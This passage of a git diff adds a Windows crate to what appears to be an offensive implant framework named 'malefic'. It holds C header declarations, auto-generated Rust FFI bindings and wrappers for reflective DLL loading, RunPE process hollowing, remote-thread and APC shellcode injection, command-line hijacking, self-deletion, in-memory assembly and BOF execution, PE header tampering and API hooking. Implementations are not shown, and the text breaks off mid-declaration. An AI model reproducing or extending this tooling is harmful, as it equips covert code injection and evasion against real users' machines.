ReflectiveLoader( + const uint8_t *start_commandline, + size_t start_commandline_len, + const uint8_t *reflective_loader_name, + size_t reflective_loader_name_len, + const uint8_t *data, + size_t data_len, + const uint8_t *param, + size_t param_len, + uint32_t ppid, + bool block_dll, + uint32_t timeout, + bool is_need_output +); + +RawString InlinePE( + const uint8_t *bin, + size_t bin_size, + const uint16_t *magic, + const uint32_t *signature, + const uint8_t *commandline, + size_t commandline_len, + const uint8_t *entrypoint, + size_t entrypoint_len, + bool is_dll, + bool is_need_output, + uint32_t timeout, + uint32_t delay +); + +RawString RunPE( + const uint8_t *start_commandline, + size_t start_commandline_len, + const uint8_t *hijack_commandline, + size_t hijack_commandline_len, + const uint8_t *data, + size_t data_size, + const uint8_t *entrypoint, + size_t entrypoint_len, + const uint8_t *args, + size_t args_len, + bool is_x86, + uint32_t pid, + bool block_dll, + bool need_output +); + +RawString RunSacrifice( + uint8_t *application_name, + const uint8_t *start_commandline, + size_t start_commandline_len, + const uint8_t *hijack_commandline, + size_t hijack_commandline_len, + uint32_t parent_id, + bool need_output, + bool block_dll +); + +RawString MaleficExecAssembleInMemory( + const uint8_t *data, + size_t data_len, + const uint8_t *const *args, + size_t args_len +); + +RawString MaleficBofLoader( + const uint8_t *buffer, + size_t buffer_len, + const uint8_t *const *arguments, + size_t arguments_size, + const uint8_t *entrypoint_name +); + +uint8_t HijackCommandLine( + const uint8_t *commandline, + size_t commandline_len +); + +RawString MaleficPwshExecCommand( + const uint8_t *command, + size_t command_len +); + +const void* PELoader( + const void *handle, + const void *base_addr, + size_t size, + bool need_modify_magic, + bool need_modify_sign, + uint16_t magic, + uint32_t signature +); + +void UnloadPE(const void *module); + +// ============================================================ +// Core Memory APIs +// ============================================================ + +void* MVirtualAlloc(void *ptr, size_t size, uint32_t flags, uint32_t protect); +void* MVirtualAllocEx(const void *handle, void *ptr, size_t size, uint32_t flags, uint32_t protect); +bool MVirtualProtect(void *ptr, size_t size, uint32_t new_protect, uint32_t *old_protect); +bool MVirtualProtectEx(const void *handle, void *ptr, size_t size, uint32_t new_protect, uint32_t *old_protect); +bool MWriteProcessMemory(const void *handle, void *ptr, const void *data, size_t len); +bool MReadProcessMemory(const void *handle, void *ptr, void *data, size_t len); +int32_t MNtAllocateVirtualMemory(const void *handle, void **ptr, size_t *size, uint32_t allocation_type, uint32_t protect); +int32_t MNtWriteVirtualMemory(const void *handle, void *ptr, const void *data, size_t len); +int32_t MNtProtectVirtualMemory(const void *handle, void **ptr, size_t *size, uint32_t new_protect, uint32_t *old_protect); +int32_t MNtCreateSection(void **section_handle, size_t *size, uint32_t protect, uint32_t flags); +int32_t MNtMapViewOfSection(void **section_handle, const void *handle, void **ptr, size_t *size, uint32_t flags, uint32_t protect); +void* MHeapAlloc(size_t size, uint32_t flags); +void MRtlFillMemory(void *Destination, size_t Length, uint8_t Fill); + +// ============================================================ +// Core Process APIs +// ============================================================ + +void* MOpenProcess(uint32_t dwDesiredAccess, int32_t bInheritHandle, uint32_t dwProcessId); +bool MCreateProcessA( + const int8_t *lpApplicationName, + int8_t *lpCommandLine, + void *lpProcessAttributes, + void *lpThreadAttributes, + int32_t bInheritHandles, + uint32_t dwCreationFlags, + void *lpEnvironment, + const int8_t *lpCurrentDirectory, + void *lpStartupInfo, + void *lpProcessInformation +); +void* MGetCurrentProcess(void); +uint32_t MGetCurrentProcessId(void); +void* MGetCurrentThread(void); +bool MTerminateProcess(void *hProcess, uint32_t uExitCode); + +// ============================================================ +// Core Thread APIs +// ============================================================ + +void* MCreateThread( + void *lpThreadAttributes, + uint32_t dwStackSize, + void *lpStartAddress, + void *lpParameter, + uint32_t dwCreationFlags, + uint32_t *lpThreadId +); +void* MCreateRemoteThread( + void *hProcess, + void *lpThreadAttributes, + uint32_t dwStackSize, + void *lpStartAddress, + void *lpParameter, + uint32_t dwCreationFlags, + uint32_t *lpThreadId +); +int32_t MNtCreateThreadEx( + void *thread_handle, + uint32_t desired_access, + void *object_attributes, + void *process_handle, + void *start_address, + void *start_parameter, + int32_t create_suspended, + uint32_t stack_zero_bits, + uint32_t size_of_stack_commit, + uint32_t size_of_stack_reserve, + void *attribute_list +); +void* MOpenThread(uint32_t dwDesiredAccess, int32_t bInheritHandle, uint32_t dwThreadId); +uint32_t MSuspendThread(void *hThread); +uint32_t MResumeThread(void *hThread); +void MExitThread(uint32_t dwExitCode); +bool MGetThreadContext(void *hThread, void *lpContext); +bool MSetThreadContext(void *hThread, void *lpContext); +uint32_t MWaitForSingleObject(void *hHandle, uint32_t dwMilliseconds); +uint32_t MQueueUserApc(void *pfnAPC, void *hThread, uint32_t dwData); +int32_t MNtQueueApcThreadEx( + void *ThreadHandle, + void *UserApcReserve, + void *ApcRoutine, + void *ApcArgument1, + void *ApcArgument2, + void *ApcArgument3 +); +int32_t MNtTestAlert(void); +void* MCreateToolhelp32Snapshot(uint32_t dwFlags, uint32_t th32ProcessID); +bool MThread32First(void *hSnapshot, void *lpte); +bool MThread32Next(void *hSnapshot, void *lpte); + +// ============================================================ +// Core Foundation APIs +// ============================================================ + +void* MLoadLibraryA(const uint8_t *lpLibFileName); +void* MLoadLibraryW(const uint16_t *lpLibFileName); +int32_t MFreeLibrary(void *hLibModule); +void* MGetModuleHandleA(const uint8_t *lpmodulename); +const void* MGetProcAddress(const void *module, const uint8_t *proc_name); +void MCloseHandle(void *handle); +int32_t MNtClose(void *handle); + +// ============================================================ +// Callback APIs +// ============================================================ + +void* MGetDC(void *hWnd); +int32_t MEnumFontsA(void *hdc, const uint8_t *lpLogfont, void *lpProc, intptr_t lParam); +int32_t MEnumSystemLocalesA(void *lpLocaleEnumProc, uint32_t dwFlags); +int32_t MEnumWindows(void *lpEnumFunc, intptr_t lParam); + +bool MaleficMakePipe(void **read, void **write); + +const void* MaleficPipeRedirectStdOut(void *write); + +void MaleficPipeRepairedStdOut(const void *stdout_handle); + +const uint8_t* MaleficPipeRead(void *read_pipe); + +void SafeFreePipeData(const uint8_t *data); + +RawString CLRVersion(void); + +bool MProcess32First(void *hSnapshot, void *lppe); +bool MProcess32Next(void *hSnapshot, void *lppe); +int32_t MNtContinue(void *ThreadContext, uint8_t RaiseAlert); +bool MGetNumaNodeProcessorMask(uint8_t Node, uint64_t *ProcessorMask); +int32_t MNtFlushInstructionCache(void *ProcessHandle, void *BaseAddress, uintptr_t NumberOfBytesToFlush); +int32_t MNtQueryInformationThread(void *ThreadHandle, uint32_t ThreadInformationClass, void *ThreadInformation, uint32_t ThreadInformationLength, uint32_t *ReturnLength); +void MRtlCaptureContext(void *ContextRecord); +void *MAddVectoredExceptionHandler(uint32_t First, void *Handler); +uint32_t MRemoveVectoredExceptionHandler(void *Handle); +void *MVirtualAllocExNuma(void *hProcess, void *lpAddress, uintptr_t dwSize, uint32_t flAllocationType, uint32_t flProtect, uint32_t nndPreferred); + +// ============================================================ +// Core Foundation APIs (Event) +// ============================================================ + +void* MCreateEventA(void *lpEventAttributes, int32_t bManualReset, int32_t bInitialState, const uint8_t *lpName); +bool MSetEvent(void *hEvent); +uint32_t MSleepEx(uint32_t dwMilliseconds, int32_t bAlertable); + +// ============================================================ +// Core FileSystem APIs +// ============================================================ + +void* MCreateFileW(uint16_t *lpFileName, uint32_t dwDesiredAccess, uint32_t dwShareMode, void *lpSecurityAttributes, uint32_t dwCreationDisposition, uint32_t dwFlagsAndAttributes, void *hTemplateFile); +bool MWriteFile(void *hFile, uint8_t *lpBuffer, uint32_t nNumberOfBytesToWrite, uint32_t *lpNumberOfBytesWritten, void *lpOverlapped); +int32_t MNtSetInformationFile(void *hFile, void *IoStatusBlock, void *FileInformation, uint32_t Length, uint32_t FileInformationClass); + +// ============================================================ +// Core Process APIs (Query / Threadpool) +// ============================================================ + +int32_t MNtQueryInformationProcess(void *ProcessHandle, uint32_t ProcessInformationClass, void *ProcessInformation, uint32_t ProcessInformationLength, uint32_t *ReturnLength); +void* MCreateThreadpoolWork(void *pfnwk, void *pv, void *pcbe); +void* MCreateThreadpoolIo(void *fl, void *pfnio, void *pv, void *pcbe); +void* MCreateThreadpoolTimer(void *pfnti, void *pv, void *pcbe); +void* MCreateThreadpoolWait(void *pfnwa, void *pv, void *pcbe); +int32_t MTpAllocAlpcCompletion(void *AlpcReturn, void *AlpcPort, void *Callback, void *Context, void *CallbackEnviron); +int32_t MTpAllocJobNotification(void *JobReturn, void *HJob, void *Callback, void *Context, void *CallbackEnviron); + +#ifdef __cplusplus +} +#endif + +#endif // MALEFIC_WIN_KIT_H \ No newline at end of file diff --git a/malefic-crates/win/src/common/mod.rs b/malefic-crates/win/src/common/mod.rs new file mode 100644 index 0000000..2088e72 --- /dev/null +++ b/malefic-crates/win/src/common/mod.rs @@ -0,0 +1,56 @@ +use std::ffi::OsStr; +use std::os::windows::ffi::OsStrExt; +use windows::core::{BSTR, HRESULT, PCWSTR}; +use windows::Win32::Foundation::{GetLastError, ERROR_INSUFFICIENT_BUFFER, WIN32_ERROR}; + +pub fn to_wide_string(s: &str) -> Vec { + OsStr::new(s).encode_wide().chain(Some(0)).collect() +} + +pub fn wide_to_string(ptr: PCWSTR) -> String { + unsafe { + let len = (0..).take_while(|&i| *ptr.0.offset(i) != 0).count(); + let slice = std::slice::from_raw_parts(ptr.0, len); + String::from_utf16_lossy(slice) + } +} + +pub fn bstr_to_string(bstr: &BSTR) -> String { + if bstr.is_empty() { + return String::new(); + } + bstr.to_string() +} + +pub fn get_buffer(res: windows::core::Result<()>) -> windows::core::Result<()> { + if let Err(e) = res { + if e.code() != HRESULT::from_win32(ERROR_INSUFFICIENT_BUFFER.0) { + Err(e) + } else { + Ok(()) + } + } else { + Ok(()) + } +} + +/// Build a `windows::core::Error` from the thread-local `GetLastError()`. +pub fn last_win32_error() -> windows::core::Error { + let err = unsafe { GetLastError() }; + windows::core::Error::from(WIN32_ERROR(err.0)) +} + +/// Convert a `WIN32_ERROR` status into `Result<()>`. +/// `ERROR_SUCCESS (0)` → `Ok(())`, otherwise → `Err`. +pub fn check_win32(status: WIN32_ERROR) -> windows::core::Result<()> { + if status.0 == 0 { + Ok(()) + } else { + Err(windows::core::Error::from(status)) + } +} + +/// Safe reinterpretation of a `&[u16]` slice as `&[u8]`. +pub fn wide_as_bytes(wide: &[u16]) -> &[u8] { + unsafe { std::slice::from_raw_parts(wide.as_ptr() as *const u8, wide.len() * 2) } +} diff --git a/malefic-crates/win/src/detour/mod.rs b/malefic-crates/win/src/detour/mod.rs new file mode 100644 index 0000000..0df4a77 --- /dev/null +++ b/malefic-crates/win/src/detour/mod.rs @@ -0,0 +1,43 @@ +use anyhow::{anyhow, Result}; +use detour::RawDetour; +use std::ffi::{c_void, CString}; +use windows::{ + core::PCSTR, + Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress}, +}; + +pub struct RawHook { + inner: RawDetour, +} + +impl RawHook { + pub unsafe fn new(target: *const c_void, replacement: *const c_void) -> Result { + let inner = RawDetour::new(target as *const (), replacement as *const ()) + .map_err(|e| anyhow!(e.to_string()))?; + Ok(Self { inner }) + } + + pub fn trampoline(&self) -> *const c_void { + self.inner.trampoline() as *const () as *const c_void + } + + pub unsafe fn enable(&self) -> Result<()> { + self.inner.enable().map_err(|e| anyhow!(e.to_string())) + } + + pub unsafe fn disable(&self) -> Result<()> { + self.inner.disable().map_err(|e| anyhow!(e.to_string())) + } +} + +pub fn resolve_proc_address(module_name: &str, proc_name: &str) -> Result<*const c_void> { + let module = CString::new(module_name).map_err(|e| anyhow!(e.to_string()))?; + let proc = CString::new(proc_name).map_err(|e| anyhow!(e.to_string()))?; + + let module_handle = unsafe { GetModuleHandleA(PCSTR(module.as_ptr() as _)) } + .map_err(|_| anyhow!("module handle get failed"))?; + let proc_address = unsafe { GetProcAddress(module_handle, PCSTR(proc.as_ptr() as _)) } + .ok_or_else(|| anyhow!("func handle get failed"))?; + + Ok(proc_address as *const c_void) +} diff --git a/malefic-crates/win/src/kit/apis/mod.rs b/malefic-crates/win/src/kit/apis/mod.rs new file mode 100644 index 0000000..20f6e4c --- /dev/null +++ b/malefic-crates/win/src/kit/apis/mod.rs @@ -0,0 +1,72 @@ +use crate::kit::binding::{ + MCreateThread, MGetCurrentProcess, MGetProcAddress, MLoadLibraryA, MNtCreateThreadEx, + MaleficGetFuncAddrWithModuleBaseDefault, +}; + +pub unsafe fn m_load_library_a(lib_filename: *const u8) -> *const core::ffi::c_void { + MLoadLibraryA(lib_filename) as _ +} + +pub unsafe fn m_get_proc_address( + module: *const core::ffi::c_void, + proc_name: *const u8, +) -> *const core::ffi::c_void { + MGetProcAddress(module, proc_name) +} + +pub unsafe fn m_create_thread( + thread_attributes: *mut core::ffi::c_void, + stack_size: u32, + start_address: *mut core::ffi::c_void, + parameter: *mut core::ffi::c_void, + creation_flags: u32, + thread_id: *mut u32, +) -> *mut core::ffi::c_void { + MCreateThread( + thread_attributes, + stack_size, + start_address, + parameter, + creation_flags, + thread_id, + ) +} + +pub unsafe fn m_nt_create_thread_ex( + thread_handle: *mut core::ffi::c_void, + desired_access: u32, + object_attributes: *mut core::ffi::c_void, + process_handle: *mut core::ffi::c_void, + start_address: *mut core::ffi::c_void, + start_parameter: *mut core::ffi::c_void, + create_suspended: i32, + stack_zero_bits: u32, + size_of_stack_commit: u32, + size_of_stack_reserve: u32, + attribute_list: *mut core::ffi::c_void, +) -> i32 { + MNtCreateThreadEx( + thread_handle, + desired_access, + object_attributes, + process_handle, + start_address, + start_parameter, + create_suspended, + stack_zero_bits, + size_of_stack_commit, + size_of_stack_reserve, + attribute_list, + ) +} + +pub unsafe fn m_get_current_process() -> *mut core::ffi::c_void { + MGetCurrentProcess() +} + +pub unsafe fn m_get_func_addr_with_module_base( + module_base: *const core::ffi::c_void, + func_name: &[u8], +) -> *const core::ffi::c_void { + MaleficGetFuncAddrWithModuleBaseDefault(module_base, func_name.as_ptr(), func_name.len()) +} diff --git a/malefic-crates/win/src/kit/binding/binding.rs b/malefic-crates/win/src/kit/binding/binding.rs new file mode 100644 index 0000000..bf3ab98 --- /dev/null +++ b/malefic-crates/win/src/kit/binding/binding.rs @@ -0,0 +1,747 @@ +/* automatically generated by rust-bindgen 0.72.1 */ + +pub const __bool_true_false_are_defined: u32 = 1; +pub const false_: u32 = 0; +pub const true_: u32 = 1; +pub const _VCRT_COMPILER_PREPROCESSOR: u32 = 1; +pub const _SAL_VERSION: u32 = 20; +pub const __SAL_H_VERSION: u32 = 180000000; +pub const _USE_DECLSPECS_FOR_SAL: u32 = 0; +pub const _USE_ATTRIBUTES_FOR_SAL: u32 = 0; +pub const _CRT_PACKING: u32 = 8; +pub const _HAS_EXCEPTIONS: u32 = 1; +pub const _STL_LANG: u32 = 0; +pub const _HAS_CXX17: u32 = 0; +pub const _HAS_CXX20: u32 = 0; +pub const _HAS_CXX23: u32 = 0; +pub const _HAS_CXX26: u32 = 0; +pub const _HAS_NODISCARD: u32 = 0; +pub const WCHAR_MIN: u32 = 0; +pub const WCHAR_MAX: u32 = 65535; +pub const WINT_MIN: u32 = 0; +pub const WINT_MAX: u32 = 65535; +pub type va_list = *mut ::std::os::raw::c_char; +extern "C" { + pub fn __va_start(arg1: *mut *mut ::std::os::raw::c_char, ...); +} +pub type __vcrt_bool = bool; +pub type wchar_t = ::std::os::raw::c_ushort; +extern "C" { + pub fn __security_init_cookie(); +} +extern "C" { + pub fn __security_check_cookie(_StackCookie: usize); +} +extern "C" { + pub fn __report_gsfailure(_StackCookie: usize) -> !; +} +extern "C" { + pub static mut __security_cookie: usize; +} +pub type int_least8_t = ::std::os::raw::c_schar; +pub type int_least16_t = ::std::os::raw::c_short; +pub type int_least32_t = ::std::os::raw::c_int; +pub type int_least64_t = ::std::os::raw::c_longlong; +pub type uint_least8_t = ::std::os::raw::c_uchar; +pub type uint_least16_t = ::std::os::raw::c_ushort; +pub type uint_least32_t = ::std::os::raw::c_uint; +pub type uint_least64_t = ::std::os::raw::c_ulonglong; +pub type int_fast8_t = ::std::os::raw::c_schar; +pub type int_fast16_t = ::std::os::raw::c_int; +pub type int_fast32_t = ::std::os::raw::c_int; +pub type int_fast64_t = ::std::os::raw::c_longlong; +pub type uint_fast8_t = ::std::os::raw::c_uchar; +pub type uint_fast16_t = ::std::os::raw::c_uint; +pub type uint_fast32_t = ::std::os::raw::c_uint; +pub type uint_fast64_t = ::std::os::raw::c_ulonglong; +pub type intmax_t = ::std::os::raw::c_longlong; +pub type uintmax_t = ::std::os::raw::c_ulonglong; +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct RawString { + pub data: *mut u8, + pub len: usize, + pub capacity: usize, +} +#[test] +fn bindgen_test_layout_RawString() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 24usize, + "Size of RawString" + ); + assert_eq!( + ::std::mem::align_of::(), + 8usize, + "Alignment of RawString" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).data) as usize - ptr as usize }, + 0usize, + "Offset of field: RawString::data" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).len) as usize - ptr as usize }, + 8usize, + "Offset of field: RawString::len" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).capacity) as usize - ptr as usize }, + 16usize, + "Offset of field: RawString::capacity" + ); +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct MaleficPipe { + pub read: *const ::std::os::raw::c_void, + pub write: *const ::std::os::raw::c_void, +} +#[test] +fn bindgen_test_layout_MaleficPipe() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 16usize, + "Size of MaleficPipe" + ); + assert_eq!( + ::std::mem::align_of::(), + 8usize, + "Alignment of MaleficPipe" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).read) as usize - ptr as usize }, + 0usize, + "Offset of field: MaleficPipe::read" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).write) as usize - ptr as usize }, + 8usize, + "Offset of field: MaleficPipe::write" + ); +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct DarkModule { + pub module_base: *const ::std::os::raw::c_void, +} +#[test] +fn bindgen_test_layout_DarkModule() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 8usize, + "Size of DarkModule" + ); + assert_eq!( + ::std::mem::align_of::(), + 8usize, + "Alignment of DarkModule" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).module_base) as usize - ptr as usize }, + 0usize, + "Offset of field: DarkModule::module_base" + ); +} +extern "C" { + pub fn ApcLoaderInline( + bin: *const u8, + bin_len: usize, + need_output: bool, + loader_type: u32, + ) -> RawString; +} +extern "C" { + pub fn ApcLoaderSacriface( + bin: *const u8, + bin_len: usize, + sacrifice_commandline: *mut ::std::os::raw::c_char, + ppid: u32, + block_dll: bool, + need_output: bool, + ) -> RawString; +} +extern "C" { + pub fn DeleteSelf(stream: *const u8, stream_len: u32); +} +extern "C" { + pub fn InjectRemoteThread(bin: *const u8, bin_len: usize, pid: u32) -> RawString; +} +extern "C" { + pub fn MaleficLoadLibrary( + flags: u32, + buffer: *const u16, + file_buffer: *const ::std::os::raw::c_void, + len: usize, + name: *const u8, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn MaleficGetFuncAddrWithModuleBaseDefault( + module_base: *const ::std::os::raw::c_void, + func_name: *const u8, + func_name_len: usize, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn ReflectiveLoader( + start_commandline: *const u8, + start_commandline_len: usize, + reflective_loader_name: *const u8, + reflective_loader_name_len: usize, + data: *const u8, + data_len: usize, + param: *const u8, + param_len: usize, + ppid: u32, + block_dll: bool, + timeout: u32, + is_need_output: bool, + ) -> RawString; +} +extern "C" { + pub fn InlinePE( + bin: *const u8, + bin_size: usize, + magic: *const u16, + signature: *const u32, + commandline: *const u8, + commandline_len: usize, + entrypoint: *const u8, + entrypoint_len: usize, + is_dll: bool, + is_need_output: bool, + timeout: u32, + delay: u32, + ) -> RawString; +} +extern "C" { + pub fn RunPE( + start_commandline: *const u8, + start_commandline_len: usize, + hijack_commandline: *const u8, + hijack_commandline_len: usize, + data: *const u8, + data_size: usize, + entrypoint: *const u8, + entrypoint_len: usize, + args: *const u8, + args_len: usize, + is_x86: bool, + pid: u32, + block_dll: bool, + need_output: bool, + ) -> RawString; +} +extern "C" { + pub fn RunSacrifice( + application_name: *mut u8, + start_commandline: *const u8, + start_commandline_len: usize, + hijack_commandline: *const u8, + hijack_commandline_len: usize, + parent_id: u32, + need_output: bool, + block_dll: bool, + ) -> RawString; +} +extern "C" { + pub fn MaleficExecAssembleInMemory( + data: *const u8, + data_len: usize, + args: *const *const u8, + args_len: usize, + ) -> RawString; +} +extern "C" { + pub fn MaleficBofLoader( + buffer: *const u8, + buffer_len: usize, + arguments: *const *const u8, + arguments_size: usize, + entrypoint_name: *const u8, + ) -> RawString; +} +extern "C" { + pub fn HijackCommandLine(commandline: *const u8, commandline_len: usize) -> u8; +} +extern "C" { + pub fn MaleficPwshExecCommand(command: *const u8, command_len: usize) -> RawString; +} +extern "C" { + pub fn PELoader( + handle: *const ::std::os::raw::c_void, + base_addr: *const ::std::os::raw::c_void, + size: usize, + need_modify_magic: bool, + need_modify_sign: bool, + magic: u16, + signature: u32, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn UnloadPE(module: *const ::std::os::raw::c_void); +} +extern "C" { + pub fn MVirtualAlloc( + ptr: *mut ::std::os::raw::c_void, + size: usize, + flags: u32, + protect: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MVirtualAllocEx( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + size: usize, + flags: u32, + protect: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MVirtualProtect( + ptr: *mut ::std::os::raw::c_void, + size: usize, + new_protect: u32, + old_protect: *mut u32, + ) -> bool; +} +extern "C" { + pub fn MVirtualProtectEx( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + size: usize, + new_protect: u32, + old_protect: *mut u32, + ) -> bool; +} +extern "C" { + pub fn MWriteProcessMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + data: *const ::std::os::raw::c_void, + len: usize, + ) -> bool; +} +extern "C" { + pub fn MReadProcessMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + data: *mut ::std::os::raw::c_void, + len: usize, + ) -> bool; +} +extern "C" { + pub fn MNtAllocateVirtualMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + allocation_type: u32, + protect: u32, + ) -> i32; +} +extern "C" { + pub fn MNtWriteVirtualMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + data: *const ::std::os::raw::c_void, + len: usize, + ) -> i32; +} +extern "C" { + pub fn MNtProtectVirtualMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + new_protect: u32, + old_protect: *mut u32, + ) -> i32; +} +extern "C" { + pub fn MNtCreateSection( + section_handle: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + protect: u32, + flags: u32, + ) -> i32; +} +extern "C" { + pub fn MNtMapViewOfSection( + section_handle: *mut *mut ::std::os::raw::c_void, + handle: *const ::std::os::raw::c_void, + ptr: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + flags: u32, + protect: u32, + ) -> i32; +} +extern "C" { + pub fn MHeapAlloc(size: usize, flags: u32) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MRtlFillMemory(Destination: *mut ::std::os::raw::c_void, Length: usize, Fill: u8); +} +extern "C" { + pub fn MOpenProcess( + dwDesiredAccess: u32, + bInheritHandle: i32, + dwProcessId: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateProcessA( + lpApplicationName: *const i8, + lpCommandLine: *mut i8, + lpProcessAttributes: *mut ::std::os::raw::c_void, + lpThreadAttributes: *mut ::std::os::raw::c_void, + bInheritHandles: i32, + dwCreationFlags: u32, + lpEnvironment: *mut ::std::os::raw::c_void, + lpCurrentDirectory: *const i8, + lpStartupInfo: *mut ::std::os::raw::c_void, + lpProcessInformation: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MGetCurrentProcessId() -> u32; +} +extern "C" { + pub fn MGetCurrentThread() -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MTerminateProcess(hProcess: *mut ::std::os::raw::c_void, uExitCode: u32) -> bool; +} +extern "C" { + pub fn MCreateRemoteThread( + hProcess: *mut ::std::os::raw::c_void, + lpThreadAttributes: *mut ::std::os::raw::c_void, + dwStackSize: u32, + lpStartAddress: *mut ::std::os::raw::c_void, + lpParameter: *mut ::std::os::raw::c_void, + dwCreationFlags: u32, + lpThreadId: *mut u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MOpenThread( + dwDesiredAccess: u32, + bInheritHandle: i32, + dwThreadId: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MSuspendThread(hThread: *mut ::std::os::raw::c_void) -> u32; +} +extern "C" { + pub fn MResumeThread(hThread: *mut ::std::os::raw::c_void) -> u32; +} +extern "C" { + pub fn MExitThread(dwExitCode: u32); +} +extern "C" { + pub fn MGetThreadContext( + hThread: *mut ::std::os::raw::c_void, + lpContext: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MSetThreadContext( + hThread: *mut ::std::os::raw::c_void, + lpContext: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MWaitForSingleObject(hHandle: *mut ::std::os::raw::c_void, dwMilliseconds: u32) -> u32; +} +extern "C" { + pub fn MQueueUserApc( + pfnAPC: *mut ::std::os::raw::c_void, + hThread: *mut ::std::os::raw::c_void, + dwData: u32, + ) -> u32; +} +extern "C" { + pub fn MNtQueueApcThreadEx( + ThreadHandle: *mut ::std::os::raw::c_void, + UserApcReserve: *mut ::std::os::raw::c_void, + ApcRoutine: *mut ::std::os::raw::c_void, + ApcArgument1: *mut ::std::os::raw::c_void, + ApcArgument2: *mut ::std::os::raw::c_void, + ApcArgument3: *mut ::std::os::raw::c_void, + ) -> i32; +} +extern "C" { + pub fn MNtTestAlert() -> i32; +} +extern "C" { + pub fn MCreateToolhelp32Snapshot( + dwFlags: u32, + th32ProcessID: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MThread32First( + hSnapshot: *mut ::std::os::raw::c_void, + lpte: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MThread32Next( + hSnapshot: *mut ::std::os::raw::c_void, + lpte: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MLoadLibraryA(lpLibFileName: *const u8) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MLoadLibraryW(lpLibFileName: *const u16) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MFreeLibrary(hLibModule: *mut ::std::os::raw::c_void) -> i32; +} +extern "C" { + pub fn MGetModuleHandleA(lpmodulename: *const u8) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCloseHandle(handle: *mut ::std::os::raw::c_void); +} +extern "C" { + pub fn MNtClose(handle: *mut ::std::os::raw::c_void) -> i32; +} +extern "C" { + pub fn MGetDC(hWnd: *mut ::std::os::raw::c_void) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MEnumFontsA( + hdc: *mut ::std::os::raw::c_void, + lpLogfont: *const u8, + lpProc: *mut ::std::os::raw::c_void, + lParam: isize, + ) -> i32; +} +extern "C" { + pub fn MEnumSystemLocalesA(lpLocaleEnumProc: *mut ::std::os::raw::c_void, dwFlags: u32) -> i32; +} +extern "C" { + pub fn MEnumWindows(lpEnumFunc: *mut ::std::os::raw::c_void, lParam: isize) -> i32; +} +extern "C" { + pub fn MGetProcAddress( + module: *const ::std::os::raw::c_void, + proc_name: *const u8, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThread( + thread_attributes: *mut ::std::os::raw::c_void, + stack_size: u32, + start_address: *mut ::std::os::raw::c_void, + parameter: *mut ::std::os::raw::c_void, + creation_flags: u32, + thread_id: *mut u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MNtCreateThreadEx( + thread_handle: *mut ::std::os::raw::c_void, + desired_access: u32, + object_attributes: *mut ::std::os::raw::c_void, + process_handle: *mut ::std::os::raw::c_void, + start_address: *mut ::std::os::raw::c_void, + start_parameter: *mut ::std::os::raw::c_void, + create_suspended: i32, + stack_zero_bits: u32, + size_of_stack_commit: u32, + size_of_stack_reserve: u32, + attribute_list: *mut ::std::os::raw::c_void, + ) -> i32; +} +extern "C" { + pub fn MGetCurrentProcess() -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MaleficMakePipe( + read: *mut *mut ::std::os::raw::c_void, + write: *mut *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MaleficPipeRedirectStdOut( + write: *mut ::std::os::raw::c_void, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn MaleficPipeRepairedStdOut(stdout_handle: *const ::std::os::raw::c_void); +} +extern "C" { + pub fn MaleficPipeRead(read_pipe: *mut 